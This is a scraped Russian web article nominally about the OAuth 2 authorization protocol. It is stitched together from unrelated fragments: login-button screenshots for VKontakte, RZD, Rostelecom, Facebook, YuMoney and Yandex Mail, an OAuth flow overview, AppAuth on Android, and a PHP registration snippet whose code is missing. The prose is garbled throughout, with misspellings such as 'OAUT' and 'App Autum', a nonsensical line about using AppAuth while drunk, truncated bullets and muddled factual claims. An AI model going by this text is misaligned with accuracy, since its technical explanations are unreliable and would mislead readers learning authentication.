Давайте хотя бы немного улучшим регистрацию в этом мире.</p><p>Я много пишу о проектировании, разработке и поддержке ИТ-проектов. Вся моя информация доступна бесплатно в Telegram.</p><p>Selectel_инструкция</p><h2>Вконтакте: регистрация и войти</h2><figure id="attachment_12077" aria-describedby="caption-attachment-12077" class="wp-caption aligncenter"><img decoding="async" loading="lazy" src="https://www.inetgramotnost.ru/wp-content/uploads/2021/06/vkontakte-registraciya-i-vojti.jpg" alt="ВКонтакте Регистрация и Войти" width="432" height="818"><figcaption id="caption-attachment-12077" class="wp-caption-text"><span>Рис. 6. ВКонтакте: Регистрация и Войти.</span></figcaption></figure><p>Вы можете ввести свое имя, фамилию и дату рождения в ВКонтакте.</p><p>Вы должны ввести свой номер телефона, адрес электронной почты и пароль, чтобы получить доступ к своей странице, как зарегистрированной, так и незарегистрированной.</p><p>Дополнительные материалы:</p><p>1. зачем регистрация на сайте</p><p>2. Пошаговая инструкция по регистрации на сайте Одноклассники</p><p>3. Регистрация в два клика с использованием автозаполнения браузеров Яндекс</p><p>4. В социальных сетях, как можно избежать блокировки в социальных сетях?</p><h2>Использовать библиотеки</h2><p>Библиотеки должны поддерживать протоколы OAUT или openID для того, чтобы поддерживать OAuth и OpenId. IOS AppAuth Android AppAuth</p><ul><li>При таком подходе необходимо убедиться, что сервер аутентификации работает в соответствии с протоколом и что для связи с ним не нужно мулировать библиотеку.</li><li>Если вы понимаете библиотеку и знаете, как она работает, реализация довольно проста. Но это требует времени.</li><li>Реализация авторизации будет универсальной для различных сервисов, вам не придется включать дополнительные зависимости и писать много кода для каждого внешнего сервиса, если их несколько.</li><li>Имейте в виду, что реализация библиотеки может быть не совсем практичной для интеграции в ваше приложение. Подходы, которые вы используете для взаимодействия с библиотекой, могут отличаться от подходов команды, и вам придется писать мосты-обертки. Пример: AppAuth на Android использует AsyncTask под капотом, но вы, вероятно, используете корутины в своем приложении. Но в целом, эти вещи можно интегрировать.</li></ul><p>В последующих разделах мы рассмотрим, как библиотека AppAuth используется для реализации входа в систему. Почему у людей возникает эта проблема?</p><h2>Используемые роли в oauth 2</h2><p>Следующие типы различаются в зависимости от ролей:</p><ul><li>Владелец (пользователь): авторизует клиентское приложение для доступа к его учетным данным;</li><li>Сервер ресурсов/API: является местом хранения учетных данных пользователя и бизнес-логики авторизации, ответственной за выпуск новых токенов OAuth и их аутентификацию при доступе клиентских приложений к ресурсам. Целесообразно объединить эти роли, так как физически это единый сервис;</li><li>Клиентское приложение: сам сервис, которому пользователь делегирует права доступа к своим данным на сервере ресурсов. Пользователь должен авторизовать приложение, а сервер API должен подтвердить эту авторизацию ключом доступа (токеном).</li></ul><h2>Как работает oauth 2: от запроса на авторизацию до генерации токена</h2><p>Посмотрите на диаграмму, которая иллюстрирует основную идею протокола.</p><p>Мы подчеркиваем следующие шаги:</p><ol><li>Приложение запрашивает у пользователя разрешение на доступ к серверу ресурсов.</li><li>После получения авторизации приложение уведомляет сервер авторизации и предоставляет информацию о себе.</li><li>Сервер авторизации проверяет подлинность авторизации и предоставленную информацию о приложении. Если проверка прошла успешно, генерируется маркер доступа.</li><li>Затем приложение обращается к серверу ресурсов, предоставляя маркер в качестве подтверждения одобренной авторизации.</li><li>Сервер ресурсов проверяет действительность маркера и предоставляет приложению доступ к запрашиваемому ресурсу.</li></ol><p>Порядок шагов может меняться в зависимости от бизнес-логики клиентского приложения. OAUT 2. В наиболее типичных случаях OAUT 2 используется</p><h2>Минусы</h2><ul><li>Различия в подходах к реализации для разных сервисов, что делает необходимым написание отдельного кода для каждого нового сервиса;</li><li>Если интеграция осуществляется с семейством приложений, работающих в одной экосистеме (например, Google), существует риск для всех интеграций в случае компрометации учетных данных или сбоя сервера API;</li><li>OAuth 2. 0 – это новый протокол, который динамично развивается, поэтому в его спецификации могут быть логические противоречия;</li><li>Безопасность протокола на основе SSL может быть проблемой в n</li></ul><h2>Обновление доступа</h2><p>Для обновления доступа нам дается токен и ключ (refresh_token). Его можно использовать для принудительного изменения при передаче токена по открытым каналам, а также для обновления токена по окончании срока его службы. В случае успешного обновления доступа API перевыпустит не только доступ, но и refresh_token.</p><h2>Подготовка базы данных</h2><p>Примечание! Я сделал это на реальном сайте, потому что уже настроил функцию mail(), и она работала без проблем. Чтобы заставить работать сайт, размещенный локально, необходимо выбрать подходящий сервер. Письма будут сохраняться в папке tmp/!sendmail, если вы используете пакет Denwer.</p><p>В регистрационной форме должно быть указано, что для подтверждения электронной почты пользователь должен ввести легитимный адрес электронной почты.</p><p>Откройте файл form_register.php и в теге p поля ввода впишите сообщение.</p><p>Мы добавляем атрибут maxlength со значением 100 к тегу input. В этом атрибуте задается максимальное количество символов, которое можно ввести.</p><p>В общем, код у нас получился таким:</p><h2>Проверка паролей на совпадение на стороне сервера</h2><p>Пароль из поля confirm_password в JavaScript был сравнен с паролем из поля Configure, как указано выше. Однако, если пользователь отключил JavaScript в своем браузере, мы должны проверить сервер.</p><p>После строки, в которой мы удаляем пробелы из паролей POST массивов в файле register.php</p><pre class="brush: php"> //Обрезаем пробелы с начала и с конца строки $password = trim($_POST["password"]); </pre><p>Добавляем код, проверяемый паролями.</p><h2>Различия протоколов openid и oauth 2</h2><p>Цель использования – это то место, где эти протоколы больше всего отличаются друг от друга. Доступ пользователя к клиентской службе проверяется с помощью OpenID. Вы можете использовать свое имя для входа в Google и сотрудничать с ними, используя свои данные.</p><p>OpenID оценивает аутентификацию, создаваемую пользователем, и OAuth.</p><h2>Реализация в android-приложении</h2><p>Насколько хорошо AppAuto поддерживает реализацию OAuth в приложениях Android? На Github доступен код.</p><p>Мои профили на github отображаются в простом интерфейсе приложения.</p><p>Для этого при каждом запуске приложения открывается страница авторизации на github. После успешной авторизации мы переводим пользователя на главную страницу, чтобы можно было собрать данные о текущем пользователе.</p><p>3. Ключевые факторы для рассмотрения при внедрении:</p><h2>Редактирование номера телефона</h2><p>Используя шаблон Wires для мобильных устройств, все прототипы были созданы в Adobe XD.</p><p>Прототип позволяет команде разработчиков, заказчику и клиенту более эффективно согласовать желаемый результат. Однако это всего лишь эскиз, и дизайнер должен создать реальный дизайн.</p><h2>Редирект в chrome не срабатывает</h2><p>Как уже было сказано, предпочтительно использовать уникальную стратегию перенаправления для приложения.</p><p>Мы столкнулись с проблемой, когда Chrome не возвращает нам данные после успешной авторизации при использовании OAuth в Android. В трекере есть ошибка, которая приводит к этому.</p><p>Пользователям больше не разрешается нажимать на URL-адреса с пользовательскими схемами в Chrome. В результате пользователь лишается возможности получить доступ к вредоносному приложению.</p><p>После успешной авторизации браузер перенаправит на этот веб-сайт. Перенаправление автоматически отправляется с веб-страницы на приложение. Если этого не происходит, пользователь может осуществить переход, нажав клавишу ввода. Этот метод оказался эффективным.</p><h2>Ржд: регистрация или вход</h2><figure id="attachment_12074" aria-describedby="caption-attachment-12074" class="wp-caption aligncenter"><img decoding="async" loading="lazy" src="https://www.inetgramotnost.ru/wp-content/uploads/2021/06/rzd-registraciya-i-vhod.jpg" alt="РЖД Регистрация и Вход" width="1230" height="499"><figcaption id="caption-attachment-12074" class="wp-caption-text"><span>Рис. 3. Сайт РЖД: Регистрация и Вход. Показана открытая вкладка «Вход».</span></figcaption></figure><p>Инициалы Р Ж Д означают Российские железные дороги. На сайте РЖД вы можете найти подробную информацию о поездах, расписании и наличии мест.</p><p>Для входа в личный кабинет РЖД и входа через одну из кнопок, на сайте РЖД есть только одна кнопка “Вход”.</p><p>Нажмите кнопку “Регистрация”, чтобы завести новый личный кабинет. Билеты, уже купленные на сайте РЖД, нельзя приобрести в новом кабинете “Мои заказы”. Вы можете приобрести новый билет только после регистрации в кассе.</p><p>Нажмите кнопку “Войти”, чтобы получить доступ к офису обслуживания. На сайте РЖД вы можете найти билеты на совершенно новые поезда.</p><h2>Ростелеком личный кабинет: зарегистрироваться и войти</h2><figure id="attachment_12075" aria-describedby="caption-attachment-12075" class="wp-caption aligncenter"><img decoding="async" loading="lazy" src="https://www.inetgramotnost.ru/wp-content/uploads/2021/06/zaregistrirovatsya-rostelekom-vojti.jpg" alt="Зарегистрироваться Ростелеком Войти" width="1185" height="757"><figcaption id="caption-attachment-12075" class="wp-caption-text"><span>Рис. 4. Кнопки «Зарегистрироваться» и «Войти» в личный кабинет на сайте Ростелекома.</span></figcaption></figure><p>С помощью кнопки “Регистрация” (цифра 1 на рисунке 4) “Ростелеком” позволяет вам создать новый личный кабинет. В личном кабинете вы можете оплачивать, получать и тратить бонусы.</p><h2>Фейсбук: создать аккаунт и вход</h2><figure id="attachment_12076" aria-describedby="caption-attachment-12076" class="wp-caption aligncenter"><img decoding="async" loading="lazy" src="https://www.inetgramotnost.ru/wp-content/uploads/2021/06/sozdat-akkaunt-fejsbuk-vhod.jpg" alt="Создать аккаунт Фейсбук Вход" width="558" height="577"><figcaption id="caption-attachment-12076" class="wp-caption-text"><span>Рис. 5. Фейсбук: Создать аккаунт и Вход.</span></figcaption></figure><h2>Юмани: создать кошелек и войти</h2><figure id="attachment_12073" aria-describedby="caption-attachment-12073" class="wp-caption aligncenter"><img decoding="async" loading="lazy" src="https://www.inetgramotnost.ru/wp-content/uploads/2021/06/sozdat-novyj-koshelek-yumani-vojti.jpg" alt="создать новый кошелек Юмани войти" width="1064" height="701"><figcaption id="caption-attachment-12073" class="wp-caption-text"><span>Рис. 2. В Юмани можно создать новый кошелек или войти в прежний кошелек.</span></figcaption></figure><p>Юмани, ранее известная как Яндекс, – это электронные деньги. Деньги. После этого Сбербанк приобрел сервис и изменил его название. Раньше это были Яндекс. Наличные теперь участвуют и Юмани.</p><p>Кнопка “Создать кошелек” (номер 1 на рисунке 2) вызывает появление нового кошелька, обычно без денег в нем. Кнопка “Войти” на другой кнопке позволяет получить доступ к старому кошельку. Возможно, там накопились баллы и рубли.</p><h2>Яндекс почта: создать id и войти</h2><figure id="attachment_12071" aria-describedby="caption-attachment-12071" class="wp-caption aligncenter"><img decoding="async" loading="lazy" src="https://www.inetgramotnost.ru/wp-content/uploads/2021/06/sozdat-id-v-yandeks-pochte-vojti.jpg" alt="Создать ID в Яндекс Почте Войти" width="458" height="669"><figcaption id="caption-attachment-12071" class="wp-caption-text"><span>Рис. 1. «Создать ID» и «Войти» в Яндес.Почте.</span></figcaption></figure><p>Чтобы зарегистрировать новый адрес электронной почты ID, который произносится как “ай-ди” и является частью слова “identifier”, что можно перевести как идентификатор, выберите “Создать ID” (цифра 1 на рисунке 1).</p><h2>Заключение</h2><p>Исходный код статьи доступен в моём репозитории GitHub.</p><p>Мы рассмотрели особенности интеграции OAuth в мобильные приложения и реальную реализацию App Autum. С помощью этой реализации вы сможете быстро настроить OAuth в своем приложении.</p><p>Согласно нашему опыту, AppAuth упростит OAUT в приложении и избавит от необходимости писать специфику реализации. Однако он предъявляет требования к серверу авторизации. Служба, скорее всего, вообще получит очень мало функциональности, если она не соответствует стандарту RFC-8252 (OAuth 2.0 для нативных приложений).</p><p>Как вы использовали OAuth в мобильных приложениях? Были ли у вас проблемы с использованием AppAuth в нетрезвом состоянии?</p><div class="flat_pm_end"></div></div><div class="html-after-content"></div><div class='social_share clearfix'><p class='socshare-title'></p> <a rel="nofollow" class="psb fb" target="_blank" href="http://www.facebook.com/sharer.php?u=https://vhod-v-lichnyj-kabinet.ru/protokol-avtorizatsii-oaut-2-vvedenie-v-teknologiyu-na-primerak/&t=%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB+%D0%B0%D0%B2%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D0%B8+OAuth+2+%E2%80%94+%D0%B2%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5+%D0%B2+%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8E+%D0%BD%D0%B0+%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D0%B0%D1%85&src=sp" title="Поделиться в Facebook"></a> <a rel="nofollow" class="psb vk" target="_blank" href="http://vkontakte.ru/share.php?url=https://vhod-v-lichnyj-kabinet.ru/protokol-avtorizatsii-oaut-2-vvedenie-v-teknologiyu-na-primerak/" title="Поделиться во ВКонтакте"></a> <a rel="nofollow" class="psb ok" target="_blank" href="https://connect.ok.ru/offer?url=https://vhod-v-lichnyj-kabinet.ru/protokol-avtorizatsii-oaut-2-vvedenie-v-teknologiyu-na-primerak/&title=%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB+%D0%B0%D0%B2%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D0%B8+OAuth+2+%E2%80%94+%D0%B2%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5+%D0%B2+%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8E+%D0%BD%D0%B0+%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D0%B0%D1%85" title="Поделиться в Одноклассниках"></a> <a rel="nofollow" class="psb gp" target="_blank" href="https://plus.google.com/share?url=https://vhod-v-lichnyj-kabinet.ru/protokol-avtorizatsii-oaut-2-vvedenie-v-teknologiyu-na-primerak/" title="Поделиться в Google+"></a> <a rel="nofollow" class="psb tw" target="_blank" href="http://twitter.com/share?url=https://vhod-v-lichnyj-kabinet.ru/protokol-avtorizatsii-oaut-2-vvedenie-v-teknologiyu-na-primerak/&text=%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB+%D0%B0%D0%B2%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D0%B8+OAuth+2+%E2%80%94+%D0%B2%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5+%D0%B2+%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8E+%D0%BD%D0%B0+%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D0%B0%D1%85" title="Поделиться в Twitter"></a></div></div><script>var cachedBlocksArray = [];</script> </div><aside class="meta">Метки: <a href="https://vhod-v-lichnyj-kabinet.ru/tag/auth/" rel="tag">auth</a>, <a href="https://vhod-v-lichnyj-kabinet.ru/tag/authentication/" rel="tag">authentication</a>, <a href="https://vhod-v-lichnyj-kabinet.ru/tag/dodo-engineering/" rel="tag">dodo engineering</a>, <a href="https://vhod-v-lichnyj-kabinet.ru/tag/dodois/" rel="tag">dodois</a>, <a href="https://vhod-v-lichnyj-kabinet.ru/tag/oauth-2-0/" rel="tag">oauth 2.0</a>, <a href="https://vhod-v-lichnyj-kabinet.ru/tag/avtorizacija/" rel="tag">авторизация</a></aside><div class="markup"><meta itemscope itemprop="mainEntityOfPage" content="https://vhod-v-lichnyj-kabinet.ru/protokol-avtorizatsii-oaut-2-vvedenie-v-teknologiyu-na-primerak/" /><div itemprop="image" itemscope itemtype="https://schema.org/ImageObject"><link itemprop="url" href="https://vhod-v-lichnyj-kabinet.ru/wp-content/uploads/2022/08/cover.jpg"><link itemprop="contentUrl" href="https://vhod-v-lichnyj-kabinet.ru/wp-content/uploads/2022/08/cover.jpg"><meta itemprop="width" content="1200"><meta itemprop="height" content="630"></div><meta itemprop="datePublished" content="2022-11-07T21:05:16+03:00"><meta itemprop="dateModified" content="2022-11-08T02:37:00+03:00" /><meta itemprop="author" content="Евгений"><div itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><meta itemprop="name" content="Вход в личный кабинет"><meta itemprop="address" content="Russia"><meta itemprop="telephone" content="+7 (000) 000-000-00"><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"><link itemprop="url" href="https://vhod-v-lichnyj-kabinet.ru/wp-content/themes/basic/img/logo.jpg"><link itemprop="contentUrl" href="https://vhod-v-lichnyj-kabinet.ru/wp-content/themes/basic/img/logo.jpg"></div></div></div></article><div id="post-ratings-12393" class="post-ratings" itemscope itemtype="https://schema.org/Article" data-nonce="c8f071b51a"><img id="rating_12393_1" src="https://vhod-v-lichnyj-kabinet.ru/wp-content/plugins/wp-postratings/images/stars/rating_on.gif" alt="1 Звезда" title="1 Звезда" onmouseover="current_rating(12393, 1, '1 Звезда');" onmouseout="ratings_off(4, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><img id="rating_12393_2" src="https://vhod-v-lichnyj-kabinet.ru/wp-content/plugins/wp-postratings/images/stars/rating_on.gif" alt="2 Звезды" title="2 Звезды" onmouseover="current_rating(12393, 2, '2 Звезды');" onmouseout="ratings_off(4, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><img id="rating_12393_3" src="https://vhod-v-lichnyj-kabinet.ru/wp-content/plugins/wp-postratings/images/stars/rating_on.gif" alt="3 Звезды" title="3 Звезды" onmouseover="current_rating(12393, 3, '3 Звезды');" onmouseout="ratings_off(4, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><img id="rating_12393_4" src="https://vhod-v-lichnyj-kabinet.ru/wp-content/plugins/wp-postratings/images/stars/rating_on.gif" alt="4 Звезды" title="4 Звезды" onmouseover="current_rating(12393, 4, '4 Звезды');" onmouseout="ratings_off(4, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><img id="rating_12393_5" src="https://vhod-v-lichnyj-kabinet.ru/wp-content/plugins/wp-postratings/images/stars/rating_off.gif" alt="5 Звезд" title="5 Звезд" onmouseover="current_rating(12393, 5, '5 Звезд');" onmouseout="ratings_off(4, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /> (<strong>1</strong> оценок, среднее: <strong>4,00</strong> из 5)<br /><span class="post-ratings-text" id="ratings_12393_text"></span><meta itemprop="name" content="Протокол авторизации OAuth 2 — введение в технологию на примерах" /><meta itemprop="headline" content="Протокол авторизации OAuth 2 — введение в технологию на примерах" /><meta itemprop="description" content="Не указывайте просто, что учетная запись с введенной электронной почтой существует — покажите возможные вариантыВы не обязаны предоставлять его, если пользователь вводит адрес электронной почты, котор..." /><meta itemprop="datePublished" content="2022-11-07T21:05:16+03:00" /><meta itemprop="dateModified" content="2022-11-08T02:37:00+03:00" /><meta itemprop="url" content="https://vhod-v-lichnyj-kabinet.ru/protokol-avtorizatsii-oaut-2-vvedenie-v-teknologiyu-na-primerak/" /><meta itemprop="author" content="Евгений" /><meta itemprop="mainEntityOfPage" content="https://vhod-v-lichnyj-kabinet.ru/protokol-avtorizatsii-oaut-2-vvedenie-v-teknologiyu-na-primerak/" /><div style="display: none;" itemprop="image" itemscope itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://vhod-v-lichnyj-kabinet.ru/wp-content/uploads/2022/08/cover-150x150.jpg" /><meta itemprop="width" content="150" /><meta itemprop="height" content="150" /></div><div style="display: none;" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><meta itemprop="name" content="Вход в личный кабинет" /><meta itemprop="url" content="https://vhod-v-lichnyj-kabinet.ru" /><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://vhod-v-lichnyj-kabinet.ru/wp-content/uploads/2020/02/logo-vhod-1.png" /></div></div><div style="display: none;" itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating"><meta itemprop="bestRating" content="5" /><meta itemprop="worstRating" content="1" /><meta itemprop="ratingValue" content="4" /><meta itemprop="ratingCount" content="1" /></div></div><div id="post-ratings-12393-loading" class="post-ratings-loading"><img src="https://vhod-v-lichnyj-kabinet.ru/wp-content/plugins/wp-postratings/images/loading.gif" width="16" height="16" class="post-ratings-image" /> Загрузка...</div><div id="comments" class="comments-area"><div id="respond" class="comment-respond"><h3 id="reply-title" class="comment-reply-title">Добавить комментарий <small><a rel="nofollow" id="cancel-comment-reply-link" href="/protokol-avtorizatsii-oaut-2-vvedenie-v-teknologiyu-na-primerak/#respond" style="display:none;">Отменить ответ</a></small></h3><form action="https://vhod-v-lichnyj-kabinet.ru/wp-comments-post.php" method="post" id="commentform" class="comment-form" novalidate><p class="comment-notes"><span id="email-notes">Ваш адрес email не будет опубликован.</span> <span class="required-field-message">Обязательные поля помечены <span class="required">*</span></span></p><div class="rcomment"><textarea id="comment" name="comment" cols="45" rows="8" placeholder="Сообщение" aria-required="true"></textarea></div><div class="rinput rauthor"><input type="text" placeholder="Ваше имя" name="author" id="author" class="required" value="" /></div><div class="rinput remail"><input type="text" placeholder="Ваш E-mail" name="email" id="email" class="required" value="" /></div><div class="rinput rurl"><input type="text" placeholder="Ваш Вебсайт" name="url" id="url" class="last-child" value="" /></div><p class="comment-form-cookies-consent"><input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes" /><label for="wp-comment-cookies-consent">Сохранить моё имя, email и адрес сайта в этом браузере для последующих моих комментариев.</label></p><p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="Отправить комментарий" /> <input type='hidden' name='comment_post_ID' value='12393' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /></p><p style="display: none;"><input type="hidden" id="akismet_comment_nonce" name="akismet_comment_nonce" value="85b7d5c6eb" /></p><p style="display: none !important;"><label>Δ<textarea name="ak_hp_textarea" cols="45" rows="8" maxlength="100"></textarea></label><input type="hidden" id="ak_js_1" name="ak_js" value="220"/><script>document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() );</script></p></form></div></div></main><aside id="sidebar" class=""><ul id="widgetlist"><li id="search-2" class="widget widget_search"><form method="get" class="searchform" action="https://vhod-v-lichnyj-kabinet.ru//"> <input type="text" value="" placeholder="Поиск" name="s" class="s" /> <input type="submit" class="submit search_submit" value="»" /></form></li><li id="custom_html-3" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><div id="yandex_rtb_R-A-666779-4"></div> <script>window.yaContextCb.push(()=>{ Ya.Context.AdvManager.render({ renderTo: 'yandex_rtb_R-A-666779-4', blockId: 'R-A-666779-4' }) })</script></div></li></ul></aside></div><footer id="footer" class=""><div class="copyrights maxwidth grid"><div class="copytext col6"><p id="copy"> <!--noindex--><a href="https://vhod-v-lichnyj-kabinet.ru/" rel="nofollow">Вход в личный кабинет</a><!--/noindex--> © 2022 <br/> <span class="copyright-text"></span> <br><a class="privacy-policy-link" href="https://vhod-v-lichnyj-kabinet.ru/privacy-policy/">Политика конфиденциальности</a></p></div><div class="themeby col6 tr"><div class="footer-counter"></div></div></div></footer></div> <a id="toTop">➤</a> <script>if (typeof rb_ajaxurl==='undefined') {var rb_ajaxurl = 'https://vhod-v-lichnyj-kabinet.ru/wp-admin/admin-ajax.php';} if (typeof gather_content==='undefined') {var gather_content = true;} if (typeof endedSc==='undefined') {var endedSc = false;} if (typeof endedCc==='undefined') {var endedCc = false;} if (typeof usedAdBlocksArray==='undefined') {var usedAdBlocksArray = [];} if (typeof usedBlockSettingArrayIds==='undefined') {var usedBlockSettingArrayIds = [];} if (typeof sameElementAfterWidth==='undefined') {var sameElementAfterWidth = false;} if (typeof sameElementAfterExcClassId==='undefined') {var sameElementAfterExcClassId = false;} if (typeof sameElementAfterFromConstruction==='undefined') {var sameElementAfterFromConstruction = false;} if (typeof rb_tempElement_check==='undefined') {var rb_tempElement_check = false;} if (typeof rb_tempElement==='undefined') {var rb_tempElement = null;} if (typeof window.jsInputerLaunch==='undefined') {window.jsInputerLaunch = -1;} function launchUpdateRbDisplays() { if ((typeof updateRbDisplays !== 'undefined')&&(typeof updateRbDisplays === 'function')) { updateRbDisplays(); } else { setTimeout(function () { launchUpdateRbDisplays(); }, 200); } } /* "sc" in variables - mark for shortcode variable */ function shortcodesInsert() { let gatheredBlocks = document.querySelectorAll('.percentPointerClass.scMark'), scBlockId = -1, scAdId = -1, blockStatus = '', dataFull = -1, gatheredBlockChild, okStates = ['done','refresh-wait','no-block','fetched'], scContainer, sci, i1 = 0, skyscraperCheck = [], skyscraperStatus = false, splitedSkyscraper = [], gatheredBlockChildSkyParts = [], stickyStatus = false, stickyCheck = [], stickyFixedStatus = false, stickyFixedCheck = [], overflowCheck = [], overflowStatus = false, repeatableIdentifier = "", dataCidIdentifier = null, divCidElement = ''; if (typeof scArray !== 'undefined') { if (scArray&&scArray.length > 0&&gatheredBlocks&&gatheredBlocks.length > 0&&typeof window.rulvW5gntb !== 'undefined') { dataCidIdentifier = window.rulvW5gntb; for (let i = 0; i < gatheredBlocks.length; i++) { gatheredBlockChild = gatheredBlocks[i].children[0]; if (!gatheredBlockChild) { continue; } scAdId = -3; blockStatus = null; scContainer = null; dataFull = -1; skyscraperStatus = false; splitedSkyscraper = []; gatheredBlockChildSkyParts = []; stickyStatus = false; stickyCheck = []; stickyFixedStatus = false; stickyFixedCheck = []; repeatableIdentifier = ""; divCidElement = null; scAdId = gatheredBlockChild.getAttribute('data-aid'); scBlockId = gatheredBlockChild.getAttribute('data-id'); blockStatus = gatheredBlockChild.getAttribute('data-state'); dataFull = gatheredBlockChild.getAttribute('data-full'); if (scBlockId&&scAdId > 0) { sci = -1; for (i1 = 0; i1 < scArray.length; i1++) { if (scBlockId == scArray[i1]['blockId']&&scAdId == scArray[i1]['adId']) { sci = i1; } } if (sci > -1) { if (blockStatus&&okStates.includes(blockStatus)) { if (blockStatus=='no-block') { gatheredBlockChild.innerHTML = ''; } else if ((blockStatus=='fetched'&&dataFull==1)||!['no-block','fetched'].includes(blockStatus)) { for (let cl1 = 0; cl1 < gatheredBlocks[i].classList.length; cl1++) { if (gatheredBlocks[i].classList[cl1].includes("repeatable-mark")) { repeatableIdentifier = gatheredBlocks[i].classList[cl1]; } } if (repeatableIdentifier) { divCidElement = document.querySelectorAll(".percentPointerClass.scMark."+repeatableIdentifier+' div[data-cid="'+dataCidIdentifier+'"]'); } else { divCidElement = gatheredBlockChild.querySelectorAll('div[data-cid="'+dataCidIdentifier+'"]'); } if (divCidElement&&divCidElement.length > 0) { for (let i2 = 0; i2 < divCidElement.length; i2++) { jQuery(divCidElement[i2]).html(scArray[sci]['text']); } } else { jQuery(gatheredBlockChild).html(scArray[sci]['text']); } launchUpdateRbDisplays(); } if (blockStatus!='fetched'||(blockStatus=='fetched'&&dataFull==1)) { for (i1 = 0; i1 < scArray.length; i1++) { if (scBlockId == scArray[i1]['blockId']) { scArray.splice(i1, 1); i1--; } } gatheredBlocks[i].classList.remove('scMark'); } } } } else if (scBlockId&&scAdId < 1&&['no-block','fetched'].includes(blockStatus)) { for (i1 = 0; i1 < scArray.length; i1++) { if (scBlockId == scArray[i1]['blockId']) { scArray.splice(i1, 1); i1--; } } gatheredBlocks[i].classList.remove('scMark'); } } } else if (!scArray||(scArray&&scArray.length < 1)) { endedSc = true; } } else { endedSc = true; } if (!endedSc) { setTimeout(function () { shortcodesInsert(); }, 200); } } function clearUnsuitableCache(cuc_cou) { let scAdId = -1; let ccRepeat = false; let gatheredBlocks = document.querySelectorAll('.percentPointerClass .' + block_classes.join(', .percentPointerClass .')); if (gatheredBlocks&&gatheredBlocks.length > 0) { for (let i = 0; i < gatheredBlocks.length; i++) { if (gatheredBlocks[i]['dataset']['aid']&&gatheredBlocks[i]['dataset']['aid'] < 0) { if ((gatheredBlocks[i]['dataset']["state"]=='no-block')||(['done','fetched','refresh-wait'].includes(gatheredBlocks[i]['dataset']["state"]))) { gatheredBlocks[i]['innerHTML'] = ''; } else { ccRepeat = true; } } else if (!gatheredBlocks[i]['dataset']['aid']) { ccRepeat = true; } } if (cuc_cou < 50) { if (ccRepeat) { setTimeout(function () { clearUnsuitableCache(cuc_cou+1); }, 100); } } else { endedCc = true; } } else { endedCc = true; } } function blocksRepositionUse(containerString, blType, searchType, contentElement) { let blocksInContainer; let blLocal = blType; let currentBlock; let currentBlockId; let currentBlockPosition; let currentContainer; let i = 0; let j = 0; let blockStrJs = ' .percentPointerClass.marked'; let blockStrPhp = ' .percentPointerClass:not(.marked)'; let blockStr = ' .percentPointerClass'; let checkPointer = null; let blockRepeatEnd = false; if (searchType) { if (searchType == 'marked') { while (!blockRepeatEnd) { blLocal = blLocal.parentElement; if (blLocal) { checkPointer = blLocal.querySelector("#content_pointer_id"); if (!checkPointer) { blocksInContainer = jQuery(blLocal).parent(containerString); if (blocksInContainer && blocksInContainer.length > 0) { /* checkPointer = blocksInContainer.querySelector("#content_pointer_id"); */ checkPointer = jQuery(blocksInContainer).find("#content_pointer_id"); if (checkPointer && checkPointer.length > 0) { blocksInContainer = null; } blockRepeatEnd = true; } } else { blockRepeatEnd = true } } else { blockRepeatEnd = true } } /* blocksInContainer = jQuery(blType).parent(containerString); */ if (blocksInContainer&&blocksInContainer.length > 0) { /* blocksInContainer.parentNode.insertBefore(rb_tempElement, blocksInContainer); */ blocksInContainer[0].parentNode.insertBefore(rb_tempElement, blocksInContainer[0]); sameElementAfterExcClassId = false; return blocksInContainer[0]; } return blType; } else if (searchType == 'non-marked') { blocksInContainer = document.querySelectorAll(blType + containerString + blockStrPhp); if (blocksInContainer && blocksInContainer.length > 0 && usedBlockSettingArray && usedBlockSettingArray.length > 0) { for (i = 0; i < blocksInContainer.length; i++) { currentBlock = blocksInContainer[i]; currentBlockId = currentBlock.querySelector('.' + block_classes.join(', .')).getAttribute('data-id'); currentContainer = null; for (j = 0; j < usedBlockSettingArray.length; i++) { if (usedBlockSettingArray[i]['id'] == currentBlockId) { currentBlockPosition = usedBlockSettingArray[i]['elementPosition']; currentContainer = currentBlock.closest(blType + containerString); if (currentBlockPosition == 0) { currentContainer.parentNode.insertBefore(currentBlock, currentContainer); } else { 